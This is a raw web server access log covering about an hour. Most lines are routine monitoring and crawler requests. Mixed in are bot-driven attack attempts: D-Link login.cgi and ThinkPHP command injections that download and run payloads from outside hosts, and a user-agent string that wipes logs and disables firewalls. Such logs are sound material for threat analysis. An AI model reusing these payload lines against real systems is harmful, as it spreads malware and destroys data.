98.28.219.23 - - [17/Feb/2020:14:21:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.229.10.47 - - [17/Feb/2020:14:25:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:14:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.88.52.50 - - [17/Feb/2020:14:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:14:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.47.86 - - [17/Feb/2020:14:28:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:14:31:48 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
85.97.196.40 - - [17/Feb/2020:14:32:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:14:32:41 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:32:42 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:32:43 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:32:54 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:32:56 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
173.26.42.94 - - [17/Feb/2020:14:33:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.38.141.226 - - [17/Feb/2020:14:33:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:14:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:14:33:36 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:33:38 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:33:49 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:33:51 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:33:53 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:14:34:05 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
13.52.78.160 - - [17/Feb/2020:14:34:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:14:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [17/Feb/2020:14:43:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.163 - - [17/Feb/2020:14:46:40 +0100] "GET /seiten/impr.htm HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [17/Feb/2020:14:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.154.12.213 - - [17/Feb/2020:14:49:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:14:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.55.97.36 - - [17/Feb/2020:14:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:14:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [17/Feb/2020:14:52:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:14:52:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:14:52:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:14:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [17/Feb/2020:14:52:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:14:52:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:14:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.93.100 - - [17/Feb/2020:14:54:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:14:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.1.1 - - [17/Feb/2020:14:56:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.138.52.255 - - [17/Feb/2020:14:56:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:14:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.51.8.17 - - [17/Feb/2020:14:57:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.51.8.17 - - [17/Feb/2020:14:57:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.51.8.17 - - [17/Feb/2020:14:57:00 +0100] "\x16\x03\x01" 501 318 "-" "-"
49.51.8.17 - - [17/Feb/2020:14:57:00 +0100] "\x16\x03\x01" 501 318 "-" "-"
45.204.64.17 - - [17/Feb/2020:14:57:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.100.236 - - [17/Feb/2020:14:57:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.149.99 - - [17/Feb/2020:14:57:17 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.226 - - [17/Feb/2020:14:57:17 +0100] "GET /seiten/fsw.htm HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [17/Feb/2020:14:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.130.248.194 - - [17/Feb/2020:14:57:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:14:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:14:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.253.152.169 - - [17/Feb/2020:15:00:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:15:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.59 - - [17/Feb/2020:15:02:24 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [17/Feb/2020:15:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.76.96 - - [17/Feb/2020:15:03:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:15:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:15:03:54 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:15:06:12 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [17/Feb/2020:15:06:14 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:15:07:10 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:15:09:28 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.110.150.176 - - [17/Feb/2020:15:09:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.49.56.28 - - [17/Feb/2020:15:10:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:15:12:18 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:15:12:55 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.214.78.192 - - [17/Feb/2020:15:18:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.239.213.94 - - [17/Feb/2020:15:23:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:15:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [17/Feb/2020:15:26:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:15:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
